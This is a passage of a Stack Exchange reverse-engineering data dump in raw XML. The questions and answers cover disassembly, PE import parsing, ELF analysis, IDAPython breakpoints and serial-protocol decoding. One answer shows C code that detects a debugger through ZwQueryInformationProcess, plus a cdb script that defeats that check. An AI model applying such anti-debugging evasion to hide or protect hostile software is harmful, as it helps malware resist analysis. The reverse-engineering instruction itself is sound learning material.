ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can you think of a way to alter the string &#xA;&lt;strong&gt;&quot;thi&quot;&lt;/strong&gt; to &#xA;&lt;code&gt;&quot;i know what i do don't you dare to interfere with me&quot;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the only way possible is recompile if you have source &#xA;or detour the pointers to string &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are detouring you have to take care of relocations too &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00D71260 smallstr.main       /$  55            PUSH    EBP&#xA;00D71261                     |.  8BEC          MOV     EBP, ESP&#xA;00D71263                     |.  6A 00         PUSH    0&#xA;00D71265                     |.  EB 04         JMP     SHORT 00D7126B                ;  00D7126B&#xA;00D71267                     |.  74 68 69 00   ASCII   &quot;thi&quot;,0&#xA;00D7126B                     |&amp;gt;  68 6712D700   PUSH    0D71267                       ; |Title = &quot;thi&quot;&#xA;00D71270                     |.  68 6712D700   PUSH    0D71267                       ; |Text = &quot;thi&quot;&#xA;00D71275                     |.  6A 00         PUSH    0                             ; |hOwner = NULL&#xA;00D71277                     |.  FF15 5CC1DA00 CALL    NEAR DWORD PTR DS:[DAC15C]    ; \MessageBoxA&#xA;00D7127D                     |.  33C0          XOR     EAX, EAX&#xA;00D7127F                     |.  5D            POP     EBP&#xA;00D71280                     \.  C3            RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-08-26T13:35:55.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13375" PostTypeId="2" ParentId="13314" CreationDate="2016-08-26T20:29:40.940" Score="0" Body="&lt;pre&gt;&lt;code&gt;#include &quot;zwopenproc.h&quot;&#xA;int main (void) &#xA;{&#xA;    hNtdll=GetModuleHandle(&quot;ntdll.dll&quot;);&#xA;    if(hNtdll) &#xA;    {&#xA;        *(FARPROC *)&amp;amp;ZwQIP  = GetProcAddress(hNtdll,&quot;ZwQueryInformationProcess&quot;);&#xA;        hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId());&#xA;        ZwQIP(hProc,ProcessImageFileName,OutBuff,sizeof(OutBuff),&amp;amp;Rlen);&#xA;        printf(&quot;ImageName=%wZ\n&quot;,OutBuff);&#xA;        ZwQIP(hProc,ProcessDebugPort,&amp;amp;DbgPort,4, &amp;amp;Rlen);&#xA;        switch( DbgPort )&#xA;        {&#xA;        case 0xffffffff:&#xA;            printf(&quot;some bugs are debugging us\n&quot;);&#xA;            break;&#xA;        case 0x0:&#xA;            printf(&quot;no bugs are debugging us\n&quot;);&#xA;            break;&#xA;        default:&#xA;            printf (&quot;who knows if bugs are debugging us\n&quot;);&#xA;            break;&#xA;        }       &#xA;    }&#xA;    return 0;    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;executing this code without debugger&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;zwopenproc.exe&#xA;ImageName=\Device\HarddiskVolume4\test\zwqiproc\zwopenproc.exe&#xA;no bugs are debugging us&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;executing inside debugger results in detection&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdb -g -G zwopenproc.exe | tail -2&#xA;ImageName=\Device\HarddiskVolume4\test\zwqiproc\zwopenproc.exe&#xA;some bugs are debugging us +++++++++++++++++++++++++++++++++++++++++++++++&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;executing inside debugger and overwriting the return buffer using a script results in no detection&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdb -G -c &quot;$$&amp;gt;a&amp;lt; zwqip.txt&quot; zwopenproc.exe  | tail -6&#xA;&#xA;&#xA;    Process Id  2064&#xA;    Parent Process  3716&#xA;    Base Priority 8&#xA;.  0    id: 810 create  name: zwopenproc.exe&#xA;ImageName=\Device\HarddiskVolume4\test\zwqiproc\zwopenproc.exe&#xA;no bugs are debugging us  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;&#xA;printf &quot;%x\n&quot; , 2064&#xA;810&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;contents of script file&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat zwqip.txt&#xA;bp ntdll!ZwQueryInformationProcess &quot;.if( poi(@esp+8) != 7 ){gc} .else { !handle poi(@esp+4&#xA;) f ; | ; gu ; ed dbgport 0; gc } &quot;&#xA;g&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-08-26T20:36:42.880" LastActivityDate="2016-08-26T20:36:42.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13376" PostTypeId="1" CreationDate="2016-08-27T02:47:19.350" Score="4" ViewCount="2870" Body="&lt;p&gt;I am trying to decode a reverse cycle split system air-conditioner comms signal so that I can control an outdoor a/c compressor unit without using the manufactures indoor unit. The unit is made by Midea and they seems reluctant to share their protocol details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used my oscilloscope to look at the data and used the default serial decoding settings to get some HEX data strings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data is sent (or received?) every 50ms. With 4.8kbaud, no parity,1 stop bit and LSB bit order. I get HEX data like this when there is no heating or cooling request from the indoor unit.&lt;a href=&quot;https://i.stack.imgur.com/gSBL9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gSBL9.png&quot; alt=&quot;No request from indoor unit&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took some more data when the indoor unit was requesting cooling but I don't know if my acquisition settings right. Here is some data recorded of packets taken every 40seconds or so before the indoor unit requests cooling, during cooling request and after.&lt;a href=&quot;https://i.stack.imgur.com/UFHo9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UFHo9.png&quot; alt=&quot;Some random packets taken before during and after a cooling request&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the indoor unit is receiving temperature measurements so that the system can decide at what speed to run the compressor. Not sure if it is temperature measurements that are communicated to the outdoor unit or if it is VSD speed commands. If it is temperature measurements then there should be data that is reducing during the cooling call data block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for any advise as to how I should go about decoding this data. Should I buy a serial decoder instead of using my oscilloscope? I am probably out of my depth, but I love a challenge. Any advise greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="17254" LastEditorUserId="17254" LastEditDate="2016-08-27T04:22:20.290" LastActivityDate="2021-12-31T11:04:12.800" Title="Decoding proprietary 485 comms" Tags="|serial-communication|hexadecimal|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13378" PostTypeId="1" AcceptedAnswerId="13382" CreationDate="2016-08-27T10:02:20.683" Score="1" ViewCount="1664" Body="&lt;p&gt;I'm trying to reverse engineer an library function back to C/C++ code. &#xA;But the function that I reverse is almust done, i just need a little bit help for making it compleet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the assembly code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        0002BB46 | 8B 45 F4                 | mov eax,dword ptr ss:[ebp-C]                                            |&#xA;    0002BB49 | 8B 88 EC 00 00 00        | mov ecx,dword ptr ds:[eax+EC]                                           |&#xA;    0002BB4F | 89 4D EC                 | mov dword ptr ss:[ebp-14],ecx                                           |&#xA;    0002BB52 | 8B 55 F4                 | mov edx,dword ptr ss:[ebp-C]                                            |&#xA;    0002BB55 | 8B 82 F0 00 00 00        | mov eax,dword ptr ds:[edx+F0]                                           |&#xA;    0002BB5B | 89 45 F0                 | mov dword ptr ss:[ebp-10],eax                                           |&#xA;    0002BB5E | 83 7D EC 00              | cmp dword ptr ss:[ebp-14],0                                             |&#xA;    0002BB62 | 0F 8E BA 00 00 00        | jle TestDLL.2BC22                                                   |&#xA;    0002BB68 | C7 45 E8 00 00 00 00     | mov dword ptr ss:[ebp-18],0                                             |&#xA;    0002BB6F | EB 09                    | jmp TestDLL.2BB7A                                                   |&#xA;    0002BB71 | 8B 4D E8                 | mov ecx,dword ptr ss:[ebp-18]                                           |&#xA;    0002BB74 | 83 C1 01                 | add ecx,1                                                               |&#xA;    0002BB77 | 89 4D E8                 | mov dword ptr ss:[ebp-18],ecx                                           |&#xA;    0002BB7A | 8B 55 E8                 | mov edx,dword ptr ss:[ebp-18]                                           |&#xA;    0002BB7D | 3B 55 EC                 | cmp edx,dword ptr ss:[ebp-14]                                           |&#xA;    0002BB80 | 0F 8D 9C 00 00 00        | jge TestDLL.2BC22                                                   |&#xA;    0002BB86 | 8B 45 FC                 | mov eax,dword ptr ss:[ebp-4]                                            |&#xA;    0002BB89 | 50                       | push eax                                                                |&#xA;    0002BB8A | 6A 01                    | push 1                                                                  |&#xA;    0002BB8C | 6A 04                    | push 4                                                                  |&#xA;    0002BB8E | 8B 4D E8                 | mov ecx,dword ptr ss:[ebp-18]                                           |&#xA;    0002BB91 | 6B C9 14                 | imul ecx,ecx,14                                                         |&#xA;    0002BB94 | 03 4D F0                 | add ecx,dword ptr ss:[ebp-10]                                           |&#xA;    0002BB97 | 51                       | push ecx                                                                |&#xA;    0002BB98 | FF 15 38 E1 02 00        | call dword ptr ds:[&amp;lt;&amp;amp;fwrite&amp;gt;]                                           |&#xA;0002BB9E | 83 C4 10                 | add esp,10                                                              |&#xA;0002BBA1 | 8B 55 FC                 | mov edx,dword ptr ss:[ebp-4]                                            |&#xA;0002BBA4 | 52                       | push edx                                                                |&#xA;0002BBA5 | 6A 01                    | push 1                                                                  |&#xA;0002BBA7 | 6A 04                    | push 4                                                                  |&#xA;0002BBA9 | 8B 45 E8                 | mov eax,dword ptr ss:[ebp-18]                                           |&#xA;0002BBAC | 6B C0 14                 | imul eax,eax,14                                                         |&#xA;0002BBAF | 8B 4D F0                 | mov ecx,dword ptr ss:[ebp-10]                                           |&#xA;0002BBB2 | 8D 54 01 04              | lea edx,dword ptr ds:[ecx+eax+4]                                        |&#xA;0002BBB6 | 52                       | push edx                                                                |&#xA;0002BBB7 | FF 15 38 E1 02 00        | call dword ptr ds:[&amp;lt;&amp;amp;fwrite&amp;gt;]                                           |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;an little explination: &#xA;- You see on line 0002BB46 the assembly code:  mov eax,dword ptr ss:[ebp-C]&lt;br&gt;&#xA;The [ebp - C] means that this is an structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the part of 0002BB86, you see:  mov eax,dword ptr ss:[ebp-4] &#xA;The [ebp - 4] means that this is an FILE* &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is all that i know, I just need a little example for what this part do.&#xA;ASM 1: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 0002BB46 | 8B 45 F4                 | mov eax,dword ptr ss:[ebp-C]                                            |&#xA;0002BB49 | 8B 88 EC 00 00 00        | mov ecx,dword ptr ds:[eax+EC]                                           |&#xA;0002BB4F | 89 4D EC                 | mov dword ptr ss:[ebp-14],ecx                                           |&#xA;0002BB52 | 8B 55 F4                 | mov edx,dword ptr ss:[ebp-C]                                            |&#xA;0002BB55 | 8B 82 F0 00 00 00        | mov eax,dword ptr ds:[edx+F0]                                           |&#xA;0002BB5B | 89 45 F0                 | mov dword ptr ss:[ebp-10],eax &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the second one: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0002BB8E | 8B 4D E8                 | mov ecx,dword ptr ss:[ebp-18]                                           |&#xA;0002BB91 | 6B C9 14                 | imul ecx,ecx,14                                                         |&#xA;0002BB94 | 03 4D F0                 | add ecx,dword ptr ss:[ebp-10]                                           |&#xA;0002BB97 | 51                       | push ecx           &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i know it takes the variabele ebp18 and multiply it with 0x14. &#xA;And add it to ebp10. But i dont know what ebp10 is. i whas thinking it is an struct or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope someone can help me, for explaining to me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manny thanks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the source code that I've from the assembly. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct _EDX  &#xA;{&#xA;&#xA;    DWORD offset0;         // edx 0x0 -&amp;gt; needs tp be checked          &#xA;    DWORD offset4;        // edx 0x4                                  &#xA;    char offset64[0x64];  // edx 0x64                                 &#xA;    char offsetC8[0x20];  // -&amp;gt; new added                             &#xA;    DWORD offsetE8;       //                                          &#xA;    DWORD offsetEC;       // edx 0xEC                                 &#xA;    char* offsetF0;       // edx 0xF0                                &#xA;&#xA;    char first[0x64];&#xA;} EDX, *PEDX;&#xA;&#xA;bool _cdecl WriteAdptInfo(char* filName, PEDX ebpc) &#xA;{&#xA;    if(ebpc != NULL)&#xA;    {&#xA;        FILE* file = fopen(filName, &quot;wb&quot;);&#xA;        if(file != NULL)&#xA;        {&#xA;            size_t size1 = fwrite(&amp;amp;ebpc-&amp;gt;offset4 , sizeof(DWORD), 0x01 ,file); &#xA;            DWORD var8 = 0; &#xA;            for(var8; var8 &amp;lt;= ebpc-&amp;gt;offset4; var8++) &#xA;            {&#xA;                DWORD a = var8 * 0xF4;&#xA;                PEDX ebpC = ebpc;&#xA;                ebpC-&amp;gt;offset0 += a;&#xA;                size_t size2 = fwrite(ebpC-&amp;gt;first, sizeof(char), sizeof(ebpC-&amp;gt;first), file);&#xA;                size_t size3 = fwrite(ebpC-&amp;gt;offset64, sizeof(char), sizeof(ebpC-&amp;gt;offset64), file);&#xA;                size_t size4 = fwrite(ebpC-&amp;gt;offsetC8, sizeof(char), sizeof(ebpC-&amp;gt;offsetC8), file);&#xA;                size_t size5 = fwrite(&amp;amp;ebpC-&amp;gt;offsetE8, sizeof(DWORD), 0x1, file);&#xA;                size_t size6 = fwrite(&amp;amp;ebpC-&amp;gt;offsetEC, sizeof(DWORD), 0x1, file);&#xA;&#xA;                DWORD var14 = ebpC-&amp;gt;offsetEC;&#xA;                char* var10 = ebpC-&amp;gt;offsetF0;&#xA;&#xA;                if(var14 &amp;gt;= 0)&#xA;                {&#xA;                    DWORD var18 = 0;&#xA;                    for(var18; var18 &amp;lt;= var14; var18++)&#xA;                    {&#xA;                        DWORD counter = (var18 * 0x14);&#xA;                        //     ptr , size, count, file&#xA;                        size_t size7 = fwrite((counter + var10), sizeof(char*), 0x1, file);&#xA;                        size_t size8 = fwrite(var10 +counter + 0x4, sizeof(char*), 0x1, file);&#xA;                        size_t size9 = fwrite(var10 + counter + 0x8, sizeof(char*), 0x1, file);&#xA;                        size_t sizeA = fwrite(var10 + counter + 0xC, sizeof(char*), 0x1, file);&#xA;                        size_t sizeB = fwrite(var10 + counter + 0x10, sizeof(char*), 0x1, file);&#xA;                    }&#xA;                }&#xA;            } &#xA;        }&#xA;        fclose(file);&#xA;        return true;&#xA;    }&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17249" LastEditorUserId="17249" LastEditDate="2016-08-29T16:12:24.687" LastActivityDate="2016-08-29T16:12:24.687" Title="OllyDBG translate ASM to C" Tags="|disassembly|ollydbg|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13379" PostTypeId="2" ParentId="13376" CreationDate="2016-08-27T13:07:05.543" Score="3" Body="&lt;p&gt;I would hardly call this an answer, but I can't comment yet..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need additional data.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Have you tried opening the outdoor unit and examining the board that you're communicating with? you might find it has some debug interfaces (serial or something else). It might provide additional information - debug prints when a command is received for example.&lt;/li&gt;&#xA;&lt;li&gt;Recording additional reference data - I would record every possible temperature setting. Then try identifying the constant values vs. the varying values. This might help with determining the command format.&lt;/li&gt;&#xA;&lt;li&gt;As a continued effort from the second option - record every possible command and start diffing them. Try to find a pattern - message types, sub fields to the message.&lt;/li&gt;&#xA;&lt;li&gt;Record your A/C remote (fairly simple - google it) and see if there is any correlation (this is a long shot, but worth a try)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As for the serial decoder - At the very least it will make sampling the signals simpler. The easier to sample the more you will probably sample.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helped :)&lt;/p&gt;&#xA;" OwnerUserId="12556" LastActivityDate="2016-08-27T13:07:05.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13381" PostTypeId="1" CreationDate="2016-08-27T18:15:32.960" Score="0" ViewCount="1407" Body="&lt;p&gt;I recently stumbled upon a weird binary, complied by a &quot;Qualcomm Hexagon&quot; compiler. The ELF binary seems fine, however section tables (section header size and string table index) seem empty. For those reasons OBJDUMP didn't work on the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the output from the readelf.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $ ./hexagon-readelf -a wierdBin.elf &#xA;    ELF Header:&#xA;      Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 &#xA;      Class:                             ELF32&#xA;      Data:                              2's complement, little endian&#xA;      Version:                           1 (current)&#xA;      OS/ABI:                            UNIX - System V&#xA;      ABI Version:                       0&#xA;      Type:                              EXEC (Executable file)&#xA;      Machine:                           Qualcomm Hexagon&#xA;      Version:                           0x1&#xA;      Entry point address:               0x40200000&#xA;      Start of program headers:          52 (bytes into file)&#xA;      Start of section headers:          0 (bytes into file)&#xA;      Flags:                             0x3, V4&#xA;      Size of this header:               52 (bytes)&#xA;      Size of program headers:           32 (bytes)&#xA;      Number of program headers:         31&#xA;      Size of section headers:           40 (bytes)&#xA;      Number of section headers:         0&#xA;      Section header string table index: 0&#xA;&#xA;    There are no sections in this file.&#xA;&#xA;    There are no sections to group in this file.&#xA;&#xA;    Program Headers:&#xA;      Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align&#xA;      NULL           0x000000 0x00000000 0x00000000 0x00414 0x00000     0&#xA;      LOAD           0x001000 0x40756000 0x40756000 0x01b94 0x02000     0x1000&#xA;  [..cut for brevity..]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have never dealt with such type of binary, I guess I have to populate those areas to get OBJDUMP working on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone help me to get it fixed? If anyone wants to take a look, I'm sharing the ELF binary. &lt;a href=&quot;https://drive.google.com/file/d/0B_1GStFPqbvodDJIc1BIMTI4N00/view&quot; rel=&quot;nofollow noreferrer&quot;&gt;weirdBinary.elf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17259" LastEditorUserId="17952" LastEditDate="2016-11-02T09:21:45.377" LastActivityDate="2018-04-26T12:05:58.067" Title="Fixing weird no-sections embedded ELF binary for decompilation" Tags="|binary-analysis|firmware|elf|gcc|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13382" PostTypeId="2" ParentId="13378" CreationDate="2016-08-27T19:20:48.480" Score="3" Body="&lt;p&gt;the assembly in question has some structure defined and manipulates some members of the structure  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the code in c/c++ could look something similar to whats shown in source window and the disassembly that you are working with is highlighted in blue &#xA;in the screen shot below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xtkrc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xtkrc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-08-27T19:20:48.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13383" PostTypeId="1" AcceptedAnswerId="13419" CreationDate="2016-08-27T20:37:08.923" Score="7" ViewCount="11853" Body="&lt;p&gt;How can I set a breakpoint and get the value of the &lt;code&gt;EAX&lt;/code&gt; register with IDApython?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to set a breakpoint, for example at address &lt;code&gt;00b27223&lt;/code&gt;, and at each break before execution of that specific address I want to get the value of the &lt;code&gt;EAX&lt;/code&gt; register as text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LQhPa.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LQhPa.png&quot; alt=&quot;example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17261" LastEditorUserId="2147" LastEditDate="2016-09-03T07:15:08.313" LastActivityDate="2016-09-03T21:51:00.477" Title="How can I set breakpoint and get value of a register with IDApython" Tags="|ida|debugging|idapython|debuggers|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13385" PostTypeId="1" AcceptedAnswerId="13387" CreationDate="2016-08-28T04:13:30.167" Score="3" ViewCount="5184" Body="&lt;p&gt;I want to know how to find out if an imported function in a PE header is being imported by ordinal rather than by name because I came across an executable that does that. Here is the DLL that imports all functions by ordinal except for one (from &lt;code&gt;WS2_32.dll&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot from program called &lt;code&gt;ExeinfoPE&lt;/code&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/W3zGE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W3zGE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I'm doing to get to the imports:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Read the PE header.&lt;/li&gt;&#xA;&lt;li&gt;Loop over data directories and find &lt;code&gt;IMAGE_DIRECTORY_ENTRY_IMPORT&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once &lt;code&gt;IMAGE_DIRECTORY_ENTRY_IMPORT&lt;/code&gt; is found, loop over &lt;code&gt;IMAGE_IMPORT_DESCRIPTORS&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On each &lt;code&gt;IMAGE_IMPORT_DESCRIPTORS&lt;/code&gt;, extract all the functions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is how I extract the functions (only works for functions imported by name):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void extractFunctions(IMAGE_IMPORT_DESCRIPTOR dll, uintptr_t sectionStartAddrRaw) {&#xA;    uintptr_t selectedFunctionImport = dll.Characteristics + sectionStartAddrRaw;&#xA;    uintptr_t selectedFunctionImportIAT = dll.FirstThunk + sectionStartAddrRaw;&#xA;&#xA;    while (true) {&#xA;        IMAGE_THUNK_DATA thunkPtrToImportByName = *(IMAGE_THUNK_DATA*)selectedFunctionImport;&#xA;        selectedFunctionImport += sizeof(IMAGE_THUNK_DATA); //Next loop we'll loop over to the next IMAGE_THUNK_DATA.&#xA;        if (thunkPtrToImportByName.u1.Function == NULL) { //Check if we need to exit the looping since there are no more functions to import.&#xA;            break;&#xA;        }&#xA;&#xA;        IMAGE_IMPORT_BY_NAME* functionImport = (IMAGE_IMPORT_BY_NAME*)(thunkPtrToImportByName.u1.Function + sectionStartAddrRaw);&#xA;&#xA;        Function function;&#xA;        function.name = std::string(functionImport-&amp;gt;Name); //Access violation here if the function needs to be imported by ordinal, instead of by name.&#xA;        function.locationInIAT = selectedFunctionImportIAT;&#xA;        function.locationInOriginalIAT = selectedFunctionImportIAT - sectionStartAddrRaw + header.OptionalHeader.ImageBase;&#xA;&#xA;        selectedFunctionImportIAT += sizeof(IMAGE_THUNK_DATA);&#xA;        dlls.back().functions.push_back(function); //We assume that IMAGE_IMPORT_DESCRIPTOR dll is the last one in the dlls vector.]&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I noticed that every function Hint/Ordinal inside &lt;code&gt;ExeinfoPE&lt;/code&gt; that is imported by name is &lt;code&gt;0&lt;/code&gt;. However, in my code &lt;code&gt;functionImport-&amp;gt;Hint&lt;/code&gt; is always set to something, regardless if the function is supposed to be imported by name or ordinal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt; cannot have information on whether the functions inside that &lt;code&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt; are imported by ordinal or name, since one of the functions is imported by name and all of the others are imported by ordinal. So, I'm all out of ideas here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the data structures I'm using for your reference so no need to Google:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct _IMAGE_THUNK_DATA {&#xA;    union {&#xA;        uint32_t* Function;             // address of imported function&#xA;        uint32_t  Ordinal;              // ordinal value of function&#xA;        PIMAGE_IMPORT_BY_NAME AddressOfData;        // RVA of imported name&#xA;        DWORD ForwarderStringl              // RVA to forwarder string&#xA;    } u1;&#xA;} IMAGE_THUNK_DATA, *PIMAGE_THUNK_DATA;&#xA;&#xA;typedef struct _IMAGE_IMPORT_DESCRIPTOR {&#xA;    union {&#xA;        DWORD   Characteristics; /* 0 for terminating null import descriptor  */&#xA;        DWORD   OriginalFirstThunk; /* RVA to original unbound IAT */&#xA;    } DUMMYUNIONNAME;&#xA;&#xA;    DWORD   TimeDateStamp;  /* 0 if not bound,&#xA;    * -1 if bound, and real date\time stamp&#xA;    *    in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT&#xA;    * (new BIND)&#xA;    * otherwise date/time stamp of DLL bound to&#xA;    * (Old BIND)&#xA;    */&#xA;    DWORD   ForwarderChain; /* -1 if no forwarders */&#xA;    DWORD   Name;&#xA;    /* RVA to IAT (if bound this IAT has actual addresses) */&#xA;    DWORD   FirstThunk;&#xA;} IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;&#xA;&#xA;typedef struct _IMAGE_IMPORT_BY_NAME {&#xA;    WORD    Hint;&#xA;    BYTE    Name[1];&#xA;} IMAGE_IMPORT_BY_NAME,*PIMAGE_IMPORT_BY_NAME;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17130" LastEditorUserId="15907" LastEditDate="2016-08-28T06:20:09.833" LastActivityDate="2016-08-28T07:33:06.927" Title="How to know if PE Header import function is being imported by Ordinal rather than by name" Tags="|windows|pe|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13386" PostTypeId="1" CreationDate="2016-08-28T05:04:23.890" Score="1" ViewCount="192" Body="&lt;p&gt;We are looking for some crypto / security expertise in solving some difficult puzzles in a ARG campaign for a Blizzard game called Overwatch. The challenges introduced and solved by the community range from cryptographic / stenographic challenges but are well documented on the wiki page: &lt;a href=&quot;http://wiki.gamedetectives.net/index.php?title=Sombra_ARG&quot; rel=&quot;nofollow&quot;&gt;http://wiki.gamedetectives.net/index.php?title=Sombra_ARG&lt;/a&gt;. At the current stage of this ARG several clues and riddles have been solved and at this current stage we are have a website advertising a slow transmission: &lt;a href=&quot;http://amomentincrime.com/&quot; rel=&quot;nofollow&quot;&gt;http://amomentincrime.com/&lt;/a&gt;&#xA;What are asking for your help in solving the two unsolved challenges which can be found on this on the wiki page linked previously, here are the titles for the two challenges:&#xA;• Welcome to the Summer Games Video • Image of Reaper&lt;/p&gt;&#xA;" OwnerUserId="17266" LastActivityDate="2016-08-28T05:04:23.890" Title="Overwatch Sombra ARG community asking for Cryto/Steg help" Tags="|encryption|cryptography|cryptanalysis|" AnswerCount="0" CommentCount="1" ClosedDate="2016-08-28T15:35:29.793" ContentLicense="CC BY-SA 3.0" />
